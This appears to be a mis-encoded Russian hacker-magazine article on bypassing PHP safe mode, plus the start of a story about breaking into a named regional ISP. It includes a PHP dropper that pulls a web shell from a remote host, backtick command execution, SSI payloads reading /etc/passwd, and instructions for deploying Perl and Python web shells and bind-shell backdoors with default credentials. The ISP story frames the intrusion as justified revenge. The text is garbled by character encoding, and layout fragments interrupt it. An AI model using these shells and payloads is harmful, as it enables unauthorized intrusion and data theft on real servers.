ìàíäû âûïîëíÿòü ìû íå ìîæåì, ñëåäîâàòåëüíî, è èññëåäîâàòü ôàéëî-
âóþ ñèñòåìó íåëüçÿ, çàëèâàòü ôàéëû è ïðîñìàòðèâàòü ñîäåðæèìîå òîæå.
Íî ìû âñå åùå ìîæåì âûïîëíÿòü êîä â ôóíêöèè eval(), êîòîðàÿ èíòåðïðå-
òèðóåò php-êîä, òî åñòü òåïåðü íàì íóæíî âñå íåîáõîäèìûå ôóíêöèè äëÿ
îáùåíèÿ ñ ñåðâåðîì íàïèñàòü ñàìîìó è ïåðåäàâàòü èõ íà âûïîëíåíèå â
eval(). Â ïåðâóþ î÷åðåäü íåîáõîäèìî çàïèñàòü íà óäàëåííóþ ìàøèíó
web-ôîðìó eval øåëëà, ÷òîáû åìó îòäàâàòü íà îáðàáîòêó íàø php-êîä.
Äëÿ ýòîãî â ïåðåìåííóþ nigga ïåðåäàåì ñëåäóþùèé ñöåíàðèé:

[çàïèñü ôàéëà]

<?php
$filen="http://unixforge.org/~sshx/x/eval_shell.php.txt";
$file_new="eval_shell.php";
$data = implode("", file($filen));
$fp = fopen($file_new, "w");
fputs($fp, $data);
fclose($fp);
?>

Äóìàþ, â îñîáûõ êîììåíòàðèÿõ êîä íå íóæäàåòñÿ. Ïîëó÷àåì õýíäë ôàé-
ëà äëÿ çàïèñè, à â $file_new ïèøåì ñîäåðæèìîå íàøåãî ôàéëà. Çàìå÷ó,
÷òî ìîæíî çàïèñûâàòü êàê ôàéëû ñ ëîêàëüíîé ìàøèíû, òàê è óäàëåííî,
åñëè äëÿ fopen() íå áëîêèðóåòñÿ îòêðûòèå ñîêåòîâ.
Òåïåðü â òåêóùóþ ïàïêó áóäåò çàïèñàíà web-ôîðìà, ÷åðåç êîòîðóþ ìû
â äàëüíåéøåì áóäåì âûïîëíÿòü ïðîèçâîëüíûé êîä. Ñîáñòâåííî, íåêîå
ïîäîáèå ðhp-shell'a ó íàñ åñòü, íî îò íîðìàëüíîãî øåëëà îí áóäåò îòëè-
÷àòüñÿ òåì, ÷òî ìû áóäåì èñïîëüçîâàòü ñâîè ôóíêöèè äëÿ íàâèãàöèè ïî
ÔÑ è ðàáîòû ñ ôàéëàìè, ÷òî íåìíîãî íåóäîáíî è ñíà÷àëà íåïðèâû÷íî.

Íà íàøåì äèñêå òû íàé-
äåøü ïîëíûå âåðñèè ïðîã-
ðàìì, îïèñàííûõ 
â ýòîé ñòàòüå.

Â PHP âåðñèè 4.3.x ïðèñóò-
ñòâóåò áàã, êîòîðûé äàæå
ïðè âêëþ÷åííîé
open_basedir è äðóãèõ äè-
ðåêòèâàõ ïîçâîëÿë ïîäê-
ëþ÷àòü ëþáûå äîñòóïíûå
íà ÷òåíèå ôàéëû: include
("/root/.bash_history")

SAFE MODE ON � õàêåðû îòïðàâëÿþòñÿ ëåñîìõàðäêîðíûå ðàçáîðêè ñ php

Åñòü ìàëåíüêàÿ õèòðîñòü,
êîòîðàÿ âñå-òàêè ïîçâîëÿ-
åò èñïîëíÿòü êîìàíäû â
îïåðàöèîíêå � ýòî îïåðà-
òîð îáðàòíûå êàâû÷êè (` `) .
Èñïîëüçóåì åãî òàê:
<?php
output = `ls -al`;
echo "<pre>$output</pre>"
?>

Ïîäðîáíûé ìàí ïî php -
âñåãäà äåðæè ïîä ðóêîé:
www.php.net/download-
docs.php
Î÷åíü õîðîøèé ñïðàâî÷-
íèê ïî âñåì äîêóìåíòèðî-
âàííûì ôóíêöèÿì php:
hwww.web-hack.ru/books/
books.php?go=29
Áåçîïàñíîå ïðîãðàììèðîâà-
íèå íà PHP: www.web-hack.ru/
books/books.php?go=36
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ïîïûòîê äàëüíåéøåãî âçëîìà :). Ñàìîå âðåìÿ ïîçàáîòèòüñÿ î âîçìîæ-
íîñòè øàðèòüñÿ ïî äèñêó. Ñêðèïò äîâîëüíî ïðèìèòèâåí:

[÷òåíèå êàòàëîãîâ]

<?php
$dire="/home";//êàòàëîã äëÿ ÷òåíèÿ
$ob=opendir("$dire");//îòêðûâàåì êàòàëîã è ïîëó÷àåì õýíäë
while($filen=readdir($ob)){//÷èòàåì ñîäåðæèìîå äèðû
$dire2=realpath("$dire");
if ( is_dir("$dire2/$filen") == TRUE ){$d="[Dir]";} else {$d= NULL;}
print "$d $filen <br><br> "; }//ïå÷àòàåì ñîäåðæèìîå
closedir($ob);
?>

Òîëüêî ÷òî ìû ñîçäàëè çàìåíó /bin/ls, õîòÿ è êðèâîâàòóþ. Ñþäà ìîæíî
ïðèâèíòèòü ìíîãî äðóãèõ âîçìîæíîñòåé � íàïðèìåð, ïîêàç ïîñëåäíåé
äàòû îáðàùåíèÿ ê ôàéëó:

date("F d Y H:i:s.", filemtime("$dire/$filen"))

Ñêðèïò òàêæå ìîæíî
íàïèñàòü è ïî-äðóãî-
ìó, èñïîëüçóÿ ñâîé-
ñòâà êëàññà dir. Ñ÷è-
òûâàíèå ñîäåðæèìîãî
êàòàëîãà ïðîèñõîäèò
âîò òàê: $entry = $dir-
>read(). À âîò ÷òîáû óç-
íàòü ÿâëÿåòñÿ ëè ôàéë
äèðåêòîðèåé, èñïîëü-
çóåòñÿ ôóíêöèÿ is_dir().
Ñ ïîìîùüþ is_writable()
ïðîâåðÿåì, äîñòóïíà ëè
ïàïêà íà çàïèñü. Â îáùåì, èñõîäíèê ñìîòðè íà äèñêå, ëèáî òÿíè ñ ìîå-
ãî ñàéòà: http://unixforge.org/~sshx/x/dir.php.txt . Òàê, ñ ýòèì ðàçîáðàëèñü.
Òåïåðü, ÷òîáû çàëèâàòü ôàéë íà ñåðâåð ñî ñâîåãî êîìïà, ìû íàïèøåì
web-ôîðìó (ïðèìåðíî êàê íà Íàðîäå). Êîä ñöåíàðèÿ ÿ íå áóäó ïðèâî-
äèòü çäåñü � òû áåç òðóäà íàéäåøü åãî íà äèñêå, èëè òóò: http://unix-
forge.org/~sshx/x/upload.php.txt. Îòìå÷ó ëèøü, ÷òî åãî íóæíî çàãðóçèòü
êàê îòäåëüíûé php-ôàéë, à íå èñïîëíÿòü â eval'e. ß óæå ãîâîðèë, ÷òî îä-
íó ïðîáëåìó ìîæíî ðåøèòü ðàçíûìè ïóòÿìè, è â ïðèíöèïå, åñëè òû õî-
ðîøî çíàåøü php, òî ñìîæåøü ðåøèòü áîëüøèíñòâî çàäà÷ íà ñâîåì ïó-
òè, ïîýòîìó çíàòü õîòÿ áû îñíîâû ýòîãî ÿçûêà âñå æå íàäî.

[ÿäîâèòàÿ àëüòåðíàòèâà] À òåïåðü ïðåäñòàâü ñèòóàöèþ, êîãäà äàëü-
íåéøåå ïðîäâèæåíèå íà ñåðâåðå ñ ïîìîùüþ PHP íåâîçìîæíî: àäìèíè-
ñòðàòîð ñêðóïóëåçíî íàñòðîèë áåçîïàñíûé ðåæèì, îñòàâèâ ìèíèìóì
âîçìîæíîñòåé. Îäíàêî âûõîä, êàê âñåãäà, åñòü. Íà ïðàêòèêå ÷àñòåíüêî
áûâàåò âîçìîæíûì èñïîëüçîâàòü àëüòåðíàòèâíûå èíòåðïðåòàòîðû � ê
ïðèìåðó, Perl. Ñ âåðîÿòíîñòüþ 100% îí áóäåò óñòàíîâëåí â ñèñòåìå, è,
âîçìîæíî, àïà÷ òàê æå áóäåò íàñòðîåí íà âûïîëíåíèå .pl è .cgi ñêðèïòîâ
â êàòàëîãå /cgi-bin/. Òî åñòü, åñëè âîçìîæíîñòè PHP-èíòåðïðåòàòîðà óðå-
çàíû ñëèøêîì ñèëüíî, ìû äåëàåì ñëåäóþùåå:

1 Çàãðóæàåì ïåðëîâûé web-øåëë â /cgi-bin/ (ñ ïîìîùüþ íàøèõ ñêðèï-
òîâ upload.php, ëèáî files.php)

2 Îïðåäåëÿåì ìåñòîíàõîæäåíèå èíòåðïðåòàòîðà Perl (âèçóàëüíî, èñ-
ïîëüçóÿ dir.php, èëè æå ôóíêöèþ file_exists("/usr/bin/perl"), êîòîðàÿ âåðíåò
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SSI
ß íå ìîã íå óïîìÿíóòü ïðî SSI (Server Side Includes). Ýòî äè-
ðåêòèâû â ôàéëàõ ôîðìàòà .shtml è .shtm, êîòîðûå âûïîëíÿ-
þòñÿ ñàìèì web-ñåðâåðîì Apache, áåç êàêèõ ëèáî ñòîðîííèõ
èíòåðïðåòàòîðîâ. Ñ ïîìîùüþ SSI ìîæíî òâîðèòü äîâîëüíî èí-
òåðåñíûå âåùè, íà÷èíàÿ îò èíêëóäèíãà ôàéëîâ è çàêàí÷èâàÿ
èñïîëíåíèåì ñèñòåìíûõ êîìàíä. Èòàê, SSI ïðîïèñûâàåòñÿ
ïðÿìî â òåëî web-ñòðàíè÷êè (êàê, íàïðèìåð, PHP-êîä) â âèäå
<!--#äèðåêòèâà="çíà÷åíèå"-->. Åñòåñòâåííî, ïðè çàõîäå íà ñàéò
òû âèäèøü íå "<!--" è "-->", à ðåçóëüòàò âûïîëíåíèÿ. Íàïðèìåð,
<!--#inlcude="right_menu.html"--> âêëþ÷èò â html-êîä ñòðàíèöû
óêàçàííóþ òîáîé ìåíþøêó. Íî SSI ìîæíî þçàòü â ñâîèõ êî-
âàðíûõ öåëÿõ. Òàê, íàïðèìåð, <!--#include file="/etc/passwd"-->
âêëþ÷èò â òåëî ñòðàíèöû ñîäåðæàíèå ñèñòåìíîãî ôàéëà ñ
ó÷åòíûìè çàïèñÿìè (ýòî ðàáîòàåò íå âñåãäà, è åñëè ôàéë íå
èíêëóäèòñÿ, òî ýòî ñîâñåì íå çíà÷èò, ÷òî SSI-ïîääåðæêà îòê-
ëþ÷åíà). Ñàìûì âêóñíûì ÿâëÿåòñÿ òîò ôàêò, ÷òî ìû ìîæåì
èñïîëíÿòü ñèñòåìíûå êîìàíäû îò èìåíè âåá-ñåðâåðà: <!--
#exec cmd=" uname -a; id"--> âûâåäåò íàì äî áîëè çíàêîìûå
ðåçóëüòàòû :). Àíàëîãè÷íî èíêëóäèíã è êîìàíäû âûïîëíÿþòñÿ
â âèíäå: <!--#include file="c:\admins\passwd.txt"--> è <!--#exec
cmd="C:\Windows\system32\cmd.exe|dir C:\"-->. Â îáùåì, êàê
âèäèøü, èñïîëüçîâàòü SSI â ñâîèõ êîâàðíûõ öåëÿõ íå òàê óæ
è ñëîæíî. Äîñòàòî÷íî ñîçäàòü ôàéë ñëåäóþùåãî ñîäåðæàíèÿ
è òðàíñïîðòèðîâàòü åãî íà âðàæåñêèé ñåðâåð:

<html>
<body>
<!--#exec cmd="ls -la /;cat /etc/passwd"-->
</body>
</html>

î÷åðåäíîé øåëë îò r57 � òåïåðü íà pårl

ñòÿíóòü ïàðîëü îò áàçû? Ëåãêî!

þçàåì SSI

òåñòîâûé çàïóñê ïèòîíîâîãî áýêäîðà





true, åñëè ôàéë ñóùåñòâóåò)

3 Ìåíÿåì ïóòü ê Perl â øåëëå, äàåì åìó ïðàâà äîñòóïà ïðè ïîìîùè
chmod(rws.pl,0755)

4 Çàïóñêàåì â áðàóçåðå øåëë è,
åñëè âîçíèêíóò ïðîáëåìû, ñìîòðèì
ïðåäûäóùèå ýòàïû, ÷òîáû óçíàòü,
íà êàêîì øàãó áûëà äîïóùåíà
îøèáêà.

Â êà÷åñòâå ïåðëîâîãî øåëëà ìîãó
ðåêîìåíäîâàòü òåáå cgi-telnet.pl
(http://unixforge.org/~sshx/x/cgi-tel-
net.tar.gz) è ñêðèïò îò èçâåñòíîé êî-
ìàíäû RST r57pws.pl (http://rst.void.ru/
download/r57pws.txt). Íó à âîîáùå,
â Ñåòè ëåæèò îãðîìíîå ìíîæåñòâî
òàêîãî ðîäà òóëç, íàïèñàííûõ íà
Perl, ïîýòîìó ñ âûáîðîì ïðîáëåì ó
òåáÿ íå âîçíèêíåò.
À òåïåðü ïîãîâîðèì î áîëåå ýêçî-
òè÷åñêîì ñïîñîáå ïðîíèêíîâåíèÿ.
Ñåé÷àñ âñå áîëüøóþ è áîëüøóþ
ïîïóëÿðíîñòü íàáèðàåò ÿçûê Pyton
(òàêàÿ áîëüøàÿ è òîëñòàÿ çìåÿ).
Ìû óæå íå ðàç ïèñàëè îá ýòîì ÿçû-
êå, è òû äîëæåí çíàòü, ÷òî ïðàêòè-
÷åñêè íà êàæäîì þíèêñîâîì ñåð-
âåðå ìîæíî íàéòè èíòåðïðåòàòîð
ïèòîíà (îáû÷íî /usr/bin/python èëè
/usr/local/bin/python). Íà ïðàêòèêå
÷àñòî îêàçûâàåòñÿ óäîáíûì èñ-
ïîëüçîâàòü èìåííî python-øåëëû.
ß ðàññêàæó òåáå î ïîïóëÿðíîé

ïðîãðàììå cgi-python.py.
Ïðèíöèï ðàáîòû ó ýòî-
ãî web-øåëëà òî÷íî òà-
êîé æå, êàê è ó ëþáîãî
ñêðèïòà. Òðåáóåòñÿ óêà-
çàòü ïðàâèëüíûé ïóòü ê
èíòåðïðåòàòîðó ÿçûêà,
çàïèõíóòü ôàéë â /cgi-
bin/ è íå çàáûòü ïîñòà-
âèòü íà íåãî chmod +x.
Ïîñëå ýòîãî øåëë ãî-
òîâ ê äåéñòâèþ è îæè-
äàåò òâîèõ êîìàíä. Íó,
øåëë, êîíå÷íî, ýòî
î÷åíü õîðîøî, íî bash-
îáîëî÷êà, çàáèíäåííàÿ
íà ïîðòó, åùå ëó÷øå.
Ïîýòîìó â íàøåì àð-
ñåíàëå îæèäàåòñÿ ïî-

ïîëíåíèå â âèäå wh_bindshell.py. Ýòî ðóëåçíûé ïîëíîöåííûé áýêäîð íà
ïèòîíå, íàïèñàííûé õàêåðîì SerG'eì (çà ÷òî åìó îãðîìíûé ðåñïåêò).
Ðàáîòàåò ýòà ïðîãðàììà, êàê è âñå îáû÷íûå áýêäîðû, çàïóñêàåòñÿ èç êî-
ìàíäíîé ñòðîêè òàê:

$ python wh_bindshell.py [port] [password]

Åñëè æå ñêðèïò áóäåò çàïóùåí áåç ïàðàìåòðîâ, òî â ñèëó âñòóïàþò ñòàí-
äàðòíûå íàñòðîéêè (Port=50001 password ='web-hack'). Â ðàçäåëå
#_Default_# ìîæåøü èçìåíèòü ëþáûå ïàðàìåòðû: ïîðò, ïàññ, ïðèãëàøå-
íèå, êîìàíäà ñàìîóáèéñòâà øåëëà è êîìàíäû, âûïîëíÿåìûå ïðè çàãðóç-
êå øåëëà. Çàìåòü, ÷òî pass çàùèùàåòñÿ MD5, ïîýòîìó ïðåæäå ÷åì ìå-
íÿòü äåôîëòíûé â ôàéëå, ñãåíåðèðóé õýø ñâîåãî ïàññà. Àâòîð áýêäîðà
ðåêîìåíäóåò ýòî äåëàòü ñëåäóþùèì îáðàçîì:

$ python -c"import md5;x=md5.new('you_password');print x.hexdigest()".

Ìîæíî òàêæå ïîïðîáîâàòü çàãðóçèòü ïî ftp ôàéë è ïîïûòàòüñÿ çàïóñòèòü
åãî ÷åðåç web. Äàæå íåñêîëüêî ðàç òàê ïîëó÷àëîñü, ÷òî íà ïðîïèñàííîì
ïîðòó îòêðûâàëñÿ áýêäîð. Ïðåæäå ÷åì ïóñêàòü ïèòîíîâûå ñêðèïòû â
áîé, îáÿçàòåëüíî ïðîòåñòèðóé èõ íà ëîêàëüíîé ìàøèíå èëè íà äðóæåñò-
âåííîì ñåðâåðå, ÷òîáû áûòü óâåðåííûì â åãî ðàáîòå.

[the end?] Èòàê, ïîäâåäåì èòîã. Ñåãîäíÿ ìû ñ òîáîé ðàçîáðàëèñü, êàê
äåéñòâîâàòü ïðè àêòèâèðîâàííîì php safe mode, è êàêèì ïóòåì èäòè äëÿ
îáõîäà åãî îãðàíè÷åíèé. Âñå php-ñêðèïòû â ñòàòüå ÿ ïðèâîäèòü íå ñòàë,
à ëèøü ïðèâåë ñàìûå îáùèå è êîìïàêòíûå ïðèìåðû. Äîäåëàòü è äîäó-
ìàòü èõ òû ñìîæåøü ñàì, åñëè ó òåáÿ áóäåò æåëàíèå, ïîëíûå æå çàêîí-
÷åííûå âåðñèè òû íàéäåøü íà íàøåì äèñêå. Íàïîñëåäîê ñêàæó òåáå, ÷òî
çàíèìàòüñÿ òàêèìè ýêñïåðèìåíòàìè è âîîáùå âçëîìàìè íå ñòîèò äàæå
â îçíàêîìèòåëüíûõ öåëÿõ, ïîòîìó ÷òî ìàêñèìóì ñ ÷åì òû îçíàêîìèøü-
ñÿ � ýòî ñ óñàòûìè äÿäüêàìè â ïîãîíàõ ñ äîáðûìè óëûáêàìè íà ëèöàõ
:). Óäà÷è, íå ïîïàäàéñÿ!  
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PYTHON BBINDSHELL
Âñëåä çà ïèòîíîâûì øåëëîì è backdoor'îì õî÷ó òåáå ðàññêà-
çàòü î åùå îäíîé çàìå÷àòåëüíîé òóëçå íà python. Ñîôòèíà
î÷åíü èíòåðåñíàÿ, è, ïî ñëîâàì îäíîãî çíàþùåãî ÷åëîâåêà,
óíèêàëüíàÿ â ñâîåì ðîäå. Çíàêîìüñÿ, pyWebShell ñîáñòâåí-
íîé ïåðñîíîé. Èòàê, ÷òî æå òàêîãî â íåé íåîáû÷íîãî? Ýòî íå
ïðîñòî î÷åðåäíîé web-øåëë, ýòî áýêäîð ñî âñòðîåííûìè
âîçìîæíîñòÿìè http-ñåðâåðà. Òî åñòü òû çàïóñêàåøü åãî, êàê
îáû÷íûé áýêäîð èç êîìàíäíîé ñòðîêè, ïîòîì íà äåôîëòíîì
ïîðòó îòêðûâàåòñÿ ìàëåíüêèé http-ñåðâåð. Ïîñëå ýòîãî òû çà-
õîäèøü áðàóçåðîì ïî àäðåñó http://hackedmachine.com:8003 è
� ïåðåä íàìè óäîáíàÿ web-îáîëî÷êà (êàê ó web-øåëëà), êî-
òîðóþ î÷åíü ëåãêî èñïîëüçîâàòü!

Â ðàçäåëå #__CONFIG__ ìîæíî ïîìåíÿòü ïîðò ( PORT =
8003 ) è äîìàøíþþ äèðåêòîðèþ ñêðèïòà  (#homedir="/tmp" ).
Åñëè òû âëàäååøü ïèòîíîì, òî ìîæåøü ðàçîáðàòüñÿ â èñ-
õîäíèêå è íàéòè âñòðîåííóþ ôóíêöèþ äëÿ ftp ïåðåáîðà
ftp_brut(). Ýòîò ÷óäåñíûé àãðåãàò ìîæåøü âçÿòü ñ http://unix-
forge.org/~sshx/x/http.py, èëè íà íàøåì äèñêå. Ýêñêëþçèâ,
ñïåöèàëüíî äëÿ òåáÿ :). ýêñêëþçèâíûé áèíä-øåëë

èçó÷àåì âîçìîæíîñòè ñýéô ìîäà ïèòîíîâûé shell â äåéñòâèè

Âñå îïèñàííûå â ñòàòüå
ñêðèïòû:
Eval øåëë äëÿ èíòåðïðåòà-
öèè php êîäà:http://
unixforge.org/~sshx/x/
eval_shell.php.txt 
Ðàáîòà ñ ôàéëàìè: http://unix-
forge.org/~sshx/x/files.php.txt
×òåíèå êàòàëîãîâ:
http://unixforge.org/~sshx/x/di
r.php.txt
Çàãðóçêà ôàéëîâ íà ñåðâåð:
http://unixforge.org/~sshx/x/u
pload.php.txt

Äîïîëíèòåëüíàÿ èíôà ïî
àïà÷åâñêîìó ìîäóëþ
include:
http://httpd.apache.org/docs/
mod/mod_include.html
Âåá-øåëëû íà ëþáîé âêóñ
� âûáåðè ñâîé:
http://www.web-
hack.ru/download/down-
load.php?go=77
Äîâîëüíî îáøèðíàÿ áàçà
ôðèøíûõ õîñòåðîâ:
http://forum.netz.ru/showthre
ad.php?p=149508





ÍÅÄÀÂÍÎ ÊÎ ÌÍÅ ÇÀ ÏÎÌÎÙÜÞ ÎÁÐÀÒÈËÑß ÎÄÈÍ ×ÈÒÀÒÅËÜ. ÏÀÐÅÍÜ
ÐÀÑÑÊÀÇÛÂÀË Î ÒÎÌ, ×ÒÎ ÂÎÒ ÓÆÅ ÍÅÑÊÎËÜÊÎ ËÅÒ ÌÅÑÒÍÛÉ ÏÐÎÂÀÉ-
ÄÅÐ ×ÅÑÒÍÎ ÂÎÐÓÅÒ ÄÅÍÜÃÈ Ñ ÅÃÎ ÀÊÊÀÓÍÒÀ È ÂÛÑÒÀÂËßÅÒ ÇÂÅÐÑÊÈÅ
Ñ×ÅÒÀ ÇÀ ÑÂÎÈ ÓÑËÓÃÈ. ÍÅÑ×ÀÑÒÍÛÉ ÞÇÅÐ ÏÎÑËÓØÍÎ ÂÛÊËÀÄÛÂÀÅÒ
ËÎÂÀÍÄÎÑ ÇÀ ÈÍÅÒ (ÂÅÄÜ ÀËÜÒÅÐÍÀÒÈÂÛ ÍÅÒ � ÃÎÐÎÄÎÊ ÌÀËÅÍÜÊÈÉ
È ISP ÒÀÌ ÒÎËÜÊÎ ÎÄÈÍ), Â ÒÎ ÂÐÅÌß, ÊÀÊ ÍÅÊÎÒÎÐÛÅ («ÑÂÎÈ») ÏÎËÜ-
ÇÎÂÀÒÅËÈ ÏÐÎÂÀÉÄÅÐÀ ÎÁËÀÄÀÞÒ ÀÍËÈÌÈÒÍÛÌÈ ÀÊÊÀÌÈ È ÏÎËÜÇÓ-
ÞÒÑß ÓÑËÓÃÀÌÈ ÑÅÒÈ ÀÁÑÎËÞÒÍÎ ÁÅÑÏËÀÒÍÎ. ÂÑÅ, Î ×ÅÌ ÏÐÎÑÈË ÁÅ-
ÄÎËÀÃÀ,� ÄÎÑÒÀÒÜ ÝÒÈ ÑÀÌÛÅ ÁÅÇËÈÌÈÒÍÛÅ ÏÀÑÑÛ, ×ÒÎÁÛ ÕÎÒÜ
ÍÅÌÍÎÃÎ ÑÎÊÐÀÒÈÒÜ ÄÅÔÈÖÈÒ ÑÂÎÅÃÎ ÁÞÄÆÅÒÀ. ÂÍÈÌÀÒÅËÜÍÎ ÏÐÎ-
×ÈÒÀÂ ÏÈÑÜÌÎ, ß ÐÅØÈË ÏÎÌÎ×Ü | Àëåêñàíäð Ëþáèìîâ aka Sashiks ( real_sshx@mail.ru )Þ
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[ïðåñòóïëåíèå è íàêàçàíèå]
SP-âçëîì � äîâîëüíî ðèñêîâàí-
íîå è íåáëàãîäàðíîå çàíÿòèå,
âåäü áîëüøèíñòâî ïðîâîâ ñîäåð-
æàò íåõèëûé ñîñòàâ ñïåöèàëèñ-
òîâ, òåõíèêîâ è êðóòûõ ñèñàäìè-
íîâ. Ïîýòîìó íàñòîÿùèé õàê ïðî-

âàéäåðà (à íå êðàæà pwl'îê ÷åðåç øàðû) äåëî
íåëåãêîå, è ÿ áû, íàâåðíî, íè çà ÷òî íå ñîãëà-
ñèëñÿ áû îòêëèêíóòüñÿ íà îòçûâ íåóäà÷ëèâîãî
÷åëà, åñëè áû íå ïîñ÷èòàë ýòî ïðàâèëüíûì.
Ñóäè ñàì, âåäü âòèõóþ ñíèìàòü äåíüãè ñ áà-
ëàíñà ïà÷êàìè â êîðíå íåïðàâèëüíàÿ ïîëèòè-
êà, è ýòî, ïî ñóòè, íåçàêîííî � îáäèðàòü íà-
ðîä. À ëþáîå ïðåñòóïëåíèå äîëæíî áûòü íàêà-
çàíî. Ïî-ñâîåìó. Â ýòîò ðàç ÿ ðåøèë âûñòóïèòü
â ðîëå ïðàâîñóäèÿ. Ìîÿ çàäà÷à áûëà äîâîëüíî
òðèâèàëüíà � ïîëó÷èòü äîñòóï ê ñåðâåðó è
ïðîíèêíóòü â áàçó áèëëèíãîâîé ñèñòåìû
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Èñòîðèÿ âçëîìà æàäíîãî äî ÷óæèõ äåíåã ïðîâàéäåðà

Ëåãåíäà îî ææàäíîì ïïðîâàéäåðå
è ääîáëåñòíîì SSashiks ÃÃóäå



Ïåðâûì äåëîì ìåíÿ èíòåðåñîâàë äîñòóï ê ïàïêå data/users (êàê ÿ ïðåäïîëàãàë,
òàì è íàõîäèëèñü ïàðàìåòðû ó÷åòíûõ çàïèñåé þçåðîâ) è ôàéëó chat_db. Íî â
ïàïêå data ëåæàë .htaccess, êîòîðûé, ïî èäåå, çàïðåùàë äîñòóï ê ëþáîìó ýëå-
ìåíòó êàòàëîãà. Òóò ÿ íåíàäîëãî çàìåøêàëñÿ, íî, ðåøèâ, ÷òî «áûëà-íå áûëà»,
âñå æå ââåë â áðàóçåð www.visp.com.ua/spchat/data/users. Ìíå ïîâåçëî, è â Îïå-
ðå îòîáðàçèëñÿ ëèñòèíã âñåõ þçåðîâ ÷àòà (òî åñòü ôàéë .htaccess íå ðàáîòàë, è
àïà÷ ðàçðåøàë ìíå ñâîáîäíî ïðîñìàòðèâàòü ïàïêó ñ èíôîðìàöèåé î ïîëüçî-
âàòåëÿõ). Áûë, ïðàâäà, îäèí ìèíóñ � ÿ íå ìîã ïðî÷åñòü íè îäíîãî ôàéëà, ïîòî-
ìó ÷òî íå ó÷åë, ÷òî èíôà õðàíèòñÿ â ôîðìàòå php-êîäà è, ñîîòâåòñòâåííî, web-
ñåðâåð ïðîñòî âûïîëíÿë ýòè ñöåíàðèè, íå ïîêàçûâàÿ ìíå êîäà :).

[ïðîáèâàåì áðåøü] Ïåðåéäåì ê ïðåòåíäåíòó íà ïðîâåðêó íîìåð äâà �
ê ôîðóìó. Êàê ÿ óæå ãîâîðèë, ýòî áûë íå îáîæàåìûé âñåìè àäìèíàìè
phpBB 2.0.x, à áîëåå ýêçîòè÷åñêèé ôîðóì, êîòîðûé ÿ ðàíüøå íå âñòðå÷àë,
� Software PBLang âåðñèè 4.60. Ïåðâûì äåëîì íóæíî áûëî çàðåãèñòðèðî-
âàòüñÿ, ÷òîáû ïîòîì ïðîäîëæèòü ñâîè çëîäåÿíèÿ. Ïîêà ÿ ðåãèñòðèðîâàëñÿ
ïîä øïèîíñêèì àêêàóíòîì pipec, ìíå ïðåäëîæèëè âûáðàòü àâàòàðó, íî, 
ê ñîæàëåíèþ, ïóíêòà «çàêà÷àòü_web-øåëë_êàê-àâàòàðó» íå áûëî :(.
Â îáùåì, çàãðóçèòü ñâîþ àâàòàðêó íà ñåðâåð íå ðàçðåøàëîñü, à ìîæíî áû-
ëî ëèáî óêàçàòü ëèíê íà êàðòèíêó, ëèáî âûáðàòü åå èç ñïèñêà ñòàíäàðòíûõ.
Èòàê, çàëîãèíèâøèñü ïîä ïîëüçîâàòåëåì pipec, ÿ íà÷àë áðîäèòü ïî ôîðóìó.
Ïåðâîå, ÷òî ìåíÿ èíòåðåñîâàëî, � êòî, ñîáñòâåííî, àäìèíèò ýòó áîðäó.
Ïðîñìîòðåâ ñïèñîê ïîëüçîâàòåëåé, ÿ âûÿñíèë, ÷òî àäìèíîì áîðäû áûë êàêîé-
òî ïîäîçðèòåëüíûé òèï ãðàæäàíñêîé íàðóæíîñòè ñ íèêîì mayurev.
Ýòîò ñàìûé Ìàþðåâ áûë àäìèíèñòðàòîðîì ñàéòà è, ïîõîæå, âñåãî ISP'øíî-
ãî ñåðâåðà. Òåïåðü ìíå íóæíî áûëî ïîëó÷èòü èíôîðìàöèþ îá óÿçâèìîñòÿõ
â ôîðóìå, êîòîðûå áû ïîçâîëèëè ìíå ëèáî ïîäíÿòü ïðàâà äî àäìèíèñòðà-
òîðñêèõ, ëèáî ïîëó÷èòü âîçìîæíîñòü âçàèìîäåéñòâîâàòü ñ ìàøèíîé 
(÷èòàòü äèðåêòîðèè, âûïîëíÿòü êîìàíäû è òàê äàëåå). Â Ãóãëå íàøëàñü íå-

(õû, îí ñêàçàë òðèâèàëüíàÿ :)). Åñëè ÷åñòíî, ÿ íå çíàþ, çà÷åì  ïîøåë
íà ýòî äåëî, âåäü êðîìå òîãî, ÷òî ÿ ìîã íàæèòü ñåáå êó÷ó íåïðèÿòíîñ-
òåé îò ïðîâàéäåðñêîãî ñóïïîðòà, ÿ íè÷åãî íå ïîëó÷àë. Íó äà ëàäíî, 
ê ÷åðòó ìåëî÷è, ïîðà ïðèñòóïàòü ê àêòèâíûì äåéñòâèÿì :).

[çà îãíåííîé ñòåíîé] Ïîëó÷èâ àäðåñ ñàéòà, ÿ çàïóñòèë ñ øåëëà nmap. Ïîêà
ñêàíåð äåëàë ñâîå ãðÿçíîå äåëî, ÿ ðåøèë âçãëÿíóòü íà ñàéò V.I.S.P.'à (ýòî íàç-
âàíèå ïðîâàéäåðà). Ãëàâíàÿ ñòðàíèöà âûãëÿäåëà äîâîëüíî ïðèëè÷íî, âñå áû-
ëî íà ñâîåì ìåñòå � òàðèôû, ñòàòèñòèêà, âåá-èíòåðôåéñ ê ìûëó, ãîñòåâàÿ êíè-
ãà, ññûëêè. Áûëè äàæå ÷àò è ôîðóì (íå íàäî òàê óëûáàòüñÿ � ýòî íå phpBB 2
:)) � îíè ñòàëè ïåðâûìè ïðåòåíäåíòàìè íà òùàòåëüíîå îáñëåäîâàíèå. Ïðîø-
ëî óæå íåñêîëüêî ìèíóò è nmap, ñêîðåå âñåãî, óæå çàêîí÷èë ñâîþ áîåâóþ ðàç-
âåäêó. Íî íå òóò-òî áûëî! Ñêàíåð óïîðíî ìîë÷àë äîâîëüíî äîëãîå âðåìÿ. Ëèáî
ýòî ñåòåâàÿ IDS íà ñåðâåðå, ëèáî õîðîøî íàñòðîåííûé ôàéðâîë, à, ìîæåò, è òî
è äðóãîå. Äàííîå ñóæäåíèå íèêàê íå ìîãëî ðàäîâàòü. ×òîáû óáåäèòüñÿ, ÷òî æå
òàêîå â êîíöå êîíöîâ ìåøàåò ñêàíó, ÿ ðåøèë òåëíåòîì îïðîáîâàòü íåñêîëüêî
ñòàíäàðòíûõ ïîðòîâ. Áîëüøèíñòâî äåìîíîâ ìîë÷àëè è íàäïèñü Connection
Refused íå ïîÿâëÿëàñü � çíà÷èò, ñåðâåð îõðàíÿëñÿ ôàéðâîëîì. Òàê ÷òî äàëåå
êîïàòü ýòó òåìó íå ñòîèò, è íà ñåðâèñû, êîòîðûå êðóòèëèñü íà ìàøèíå, ÿ ðåøèë
